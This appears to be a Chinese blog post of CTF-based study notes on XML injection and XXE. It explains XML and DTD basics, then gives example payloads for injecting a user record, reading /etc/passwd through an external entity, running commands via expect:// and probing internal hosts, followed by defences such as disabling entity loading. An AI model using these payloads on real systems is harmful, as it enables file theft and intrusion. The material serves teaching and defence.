XML注入

复现使用的题目为buuoj中的[NCTF2019]Fake XML cookbook

1和[NCTF2019]True XML cookbook

1

参考链接为https://xz.aliyun.com/t/6887#toc-5,写的很全面,写的比我好多了,本篇是用于个人整理知识,同时分享一些心得。

XML介绍

XML和html相对,xml专注于数据格式的传输,而html专注于数据的展示。

基本格式

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!--xml文件的声明-->
<bookstore> <!--根元素-->
<book category="COOKING"> <!--bookstore的子元素,category为属性-->
<title>Everyday Italian</title> <!--book的子元素,lang为属性-->
<author>Giada De Laurentiis</author> <!--book的子元素-->
<year>2005</year> <!--book的子元素-->
<price>30.00</price> <!--book的子元素-->
</book> <!--book的结束-->
</bookstore> <!--bookstore的结束-->

这份xml文件用于记录的元素为bookstore,这个元素有一个子元素,为book,book有几个属性。

xml作为一种标记语言,需要注意的是闭合框。这些框说明了各个元素的逻辑关系。

DTD

文件的规范,约束文件的内容。

<?xml version="1.0"?>
<!DOCTYPE note [<!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)><!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->
]>
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>

有点像提前交代了一些信息,同时对文件内容做补充。

DTD可以从外部引用

本地

<!DOCTYPE 根元素名称 SYSTEM "dtd路径">

网络

<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL">

注入

插入用户

<?xml version="1.0" encoding="utf-8"?>
<manager>
<admin id="1">
<username>admin</username>
<password>admin</password> </admin>
<admin id="2">
<username>root</username>
<password>root</password>
</admin>
</manager>

在这个地方,如果username或password字段是可控的,就可以通过闭合尖括号来直接插入用户

假如password字段可控:

<manager>
<admin id="1">
<username>admin</username>
<password>【admin</password>
</admin> <admin id="666">
<username>hacker</username>
<password>haha</password>
</admin>】 <admin id="2">
<username>root</username>
<password>root</password>
</admin>
</manager>

这里方括号内的是我们注入的部分,可以看到我们直接硬填了一个用户进入数据库。

XML外部实体注入(XXE)

任意文件读取

这里需要用到刚刚所说的外部引用DTD。我们将想要读的文件作为外部DTD读入,然后在回显部位选择DTD元素的地址,即可拿到想要的文件内容。

E.g

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY haha SYSTEM "file:///etc/passwd">
]>
<user>
<username>&haha;</username>
<password>hack</password>
</user>

我们声明了一个实体,名字叫做haha,然后这个实体的内容在这个/etc/passwd里捏哈哈( ̄y▽ ̄)╭ Ohohoho.....

然后这个例子中,如果你登陆失败,他是会回显,【username】登陆失败。所以我们在这个username字段选择这个haha实体的位置,然后就会回显出我们要的内容了。

命令执行

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>

使用了expect伪协议,需要php带有相关扩展。

内网攻击

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]>
<root>
<name>&xxe;</name>
</root>

可以从解析xml的主机中转,向内网的机器发请求。

这里可以从主机的这两个文件探测内网信息

/etc/hosts      静态映射
/proc/net/arp arp表

防御措施

这里也搬一下大哥的,感觉简单实用

  1. 通过开发语言的方法,禁止使用外部实体

    php:
libxml_disable_entity_loader(true);

java:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
  1. 过滤用户提交数据

    关键字,如<!DOCTYPE 和 <!ENTITY

  2. 不允许XML文件含有自行定义的DTD

    即不准中间定义,感觉这个方法是最好的,只允许从特定的文件读取DTD,不允许中间插入定义,一了百了。

XML注入的更多相关文章

  1. XML注入介绍--XXE,XEE,xpath等

    XML注入指在请求的XML中插入攻击利用代码.根据不同的场景,可能会形成以下的漏洞形式: (1)XEE ----xml entity xpansion(xml实体膨胀,用于dos) 具体介绍:http ...

  2. WEB安全第五篇--其他注入的奇技淫巧:XML注入、Xpath注入、Json注入、CRLF注入

    零.前言 最近做专心web安全有一段时间了,但是目测后面的活会有些复杂,涉及到更多的中间件.底层安全.漏洞研究与安全建设等越来越复杂的东东,所以在这里想写一个系列关于web安全基础以及一些讨巧的pay ...

  3. 【网络安全】SQL注入、XML注入、JSON注入和CRLF注入科普文

    目录 SQL注入 一些寻找SQL漏洞的方法 防御SQL注入 SQL注入相关的优秀博客 XML注入 什么是XML注入 预防XML注入 JSON注入 什么是JSON注入 JSON注入的防御 CRLF注入 ...

  4. WEB安全——XML注入

    浅析XML注入 认识XML DTD XML注入 XPath注入 XSL和XSLT注入 前言前段时间学习了.net,通过更改XML让连接数据库变得更方便,简单易懂,上手无压力,便对XML注入这块挺感兴趣 ...

  5. Apache Cocoon XML注入 [CVE-2020-11991]

    受影响版本: Apache Cocoon <= 2.1.x 程序使用了StreamGenerator这个方法时,解析从外部请求的xml数据包未做相关的限制,恶意用户就可以构造任意的xml表达式, ...

  6. phpshe xml注入

    *php商城系统 xml注入* **页面样式* *Xml原理参考:* https://www.cnblogs.com/20175211lyz/p/11413335.html *漏洞函数simplexm ...

  7. XML注入(XXE)

    XML所有元素都必须要有一个结束标志 大小写敏感 所有元素嵌套必须正确 所有的XML文档都必须要有一个根标志 XML包括XML声明,DTD文档类型定义(可选),文档元素 DTD即文档类型定义,用来为X ...

  8. spring xml 注入 map 时 map 标签报错

    如图所示: 在XML配置文件中并没有问题,问题出在实体类,在类中属性 maps 用 Map定义即可,用HashMap定义就会出现如上错误 K-I-N-G-D-O-M

  9. Spring基于xml注入bean的几种方式?

    (1)Set方法注入: (2)构造器注入:①通过index设置参数的位置:②通过type设置参数类型: (3)静态工厂注入: (4)实例工厂:

  10. 从 Spring 2.5 开始就可以使用注解来配置依赖注入,而不是采用 XML 来描述一个 bean。

    1.在 XML 注入之前进行注解注入,因此后者可以被前者重写. 2.在默认情况下注解在 Spring 容器中不打开,需要配置启动. <beans xmlns="http://www.s ...

随机推荐

  1. Zookeeper - 客户端常用命令

    查看客户端命令帮助信息 查看Zookeeper的版本 查看使用过的历史命令 查看根目录下的znode 创建znode 查看节点信息 修改znode的内容 删除znode 关闭连接 连接客户端 退出客户 ...

  2. 从汇编层解读Golang的闭包实现:逃逸分析与性能影响

    本文精心梳理了一系列面试中具有一定难度的高频Golang问题,其中部分知识点可能你之前未曾深入探究,然而它们却在面试和实际工作中至关重要. 包括:Golang的基础语法.并发模型.内存管理等核心知识点 ...

  3. Sqoop增量导入注意事项 incremental lastmodified与target-dir连用报错 Imported Failed: Wrong FS

    这里引用一篇博客  写的很好 https://blog.csdn.net/C_time/article/details/101109071

  4. mysql 无数据插入,有数据更新

    mysql的语法与sql server有很多不同,sql server执行插入更新时可以update后使用if判断返回的@@rowcount值,然后确定是否插入,mysql在语句中无法使用类似sql  ...

  5. Web前端入门第 12 问:HTML 常用属性一览

    HELLO,这里是大熊学习前端开发的入门笔记. 本系列笔记基于 windows 系统. HTML 常用属性大约 70 个,是否又头大了?脸上笑嘻嘻,心里嘛...嘿嘿... 温馨提示:属性不用死记硬背, ...

  6. Alibaba Sentinel SSRF漏洞分析(CVE-2021-44139)

    Alibaba Sentinel SSRF漏洞分析(CVE-2021-44139) 一.Alibaba Sentienl 简介 随着微服务的流行,服务和服务之间的稳定性变得越来越重要.Sentinel ...

  7. 查看当前linux占用的端口号

    Linux 查看端口占用情况可以使用 lsof 和 netstat 命令. centos 下无法使用lsof命令:"-bash: lsof: command not found"1 ...

  8. Ubuntu给Appimage创建快捷方式

    下载 AppImageLauncher 2.安装 3.选择要运行的Appimage 双击运行即可.他会在home目录下创建一个applications文件夹,并且帮你自动创建快捷方式.

  9. 模型即产品?从应用角度看AI产品发展趋势

    提供AI咨询+AI项目陪跑服务,有需要回复1 在ChatGPT发布后的两年里,AI应用层的发展可以用一个词来评价不温不火,到去年年初时甚至有些疲软的情况.其原因有三点: 第一,算力不足,模型API响应 ...

  10. 使用SPA单页面跟MPA多页面的优缺点?

    SPA vs MPA 深度解析 1. 概述 什么是 SPA? SPA(Single Page Application,单页面应用)是一种仅加载一个 HTML 页面,并通过 JavaScript 动态更 ...